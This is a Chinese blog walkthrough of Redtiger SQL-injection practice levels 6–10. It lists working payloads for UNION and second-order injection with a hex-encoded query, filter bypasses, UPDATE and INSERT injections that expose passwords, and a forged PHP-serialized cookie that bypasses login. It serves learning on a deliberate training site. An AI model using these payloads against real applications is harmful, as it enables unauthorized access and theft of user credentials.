Redtiger SQL注入练习(二)

第六关:

点击 click me,构造url:user=1',返回user not found。user=1'',同样。

猜测是数字型注入,构造order by , user=1 order by  X#,得出有5个字段。

然后,user=0 union select 1,2,3,4,5#,说user not found。不是吧。。。。

用username试试吧,user=0 union select 1,username,3,4,5 from level6_users where status=1#

返回如图:

接下来就需要找密码了。用password试了5个位置,没用。想了好长时间,没有啥思路,只能看大佬的writeup了。(参考https://blog.spoock.com/2016/07/25/redtiger-writeup/)

知道了可能是sql二次查询:

1
2
3
4
5
6
7
8
$sql = "select username,password from level6_users where id=1";
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' ); $row1 = mysql_fetch_row($result); #从结果中取出username字段 $username = $row1[1]; $sql2 = "select username,email from level6_users where username="."'".$username."'";

构造payload:user=0 union select 1,admin'union select 1,2,3,password,5 from level6_users where status=1#,3,4,5#    返回 user not found,  哦,fuck。

大佬说转换成16进制,脑子不够用,emmmmmm。

最终payload:user=0 union select 1,0x061646d696e3127756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5#

第七关:

提示如上,过滤了一堆东西,输入一个 ' 试试,报错并且返回sql语句:

思考后,先把括号闭合,然后经过测试,order by 被ban了,而且注释 #  和--  也无效。

order by 可以直接用 union select猜  ,注释 -- ,空格可以用%a0等等替换,构造

payload:')union select 1--%a0, 只能用burp抓包改值,hackbar  post提交不行,不知道为啥,搞了半天没结果。猜测出列数为4。

结果只显示,3和4.之后注入:')union select 1,2,autor,4 from level7_news--%a0

最后得到答案。

第八关:

看到4个输入框,分别输入一次单引号,发现只有email后可以注入,

然后没什么思路了,看了大佬们的操作,猜测后台的语句为:

update table set name='[inputname]',email='[inputemail]',icq='[inputicq]',age='[inputage]' where id=1

update 语句  后边的值会覆盖前边的值,比如:update table set name=1,email=2,name=2.........

此时 name最终是2。

于是我们构造:',name=password,icq='1

得到admin用户的密码。

第九关:

测试发现在text 初添加' 会报错,这里存在注入点。

猜测后台语句为:

insert into tablename(autor,title,text) values('[inputautor]','[inputtitle]','[inputtext]')。

于是构造:

'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'456

得到用户名和密码。参考(https://blog.spoock.com/2016/07/25/redtiger-writeup/).

第十关:

这关和php序列化有关,比较懵。

看源代码,有一串base64加密的东西,解密得到:

a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

提示只能用TheMaster登录,但是密码不知道,序列化,可以把密码改成布尔值为1.

于是改为:a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}

base64加密后提交过关。(注意:不同的加密网站,加密出的结果不同。)

猜你喜欢

转载自www.cnblogs.com/whitehawk/p/9902556.html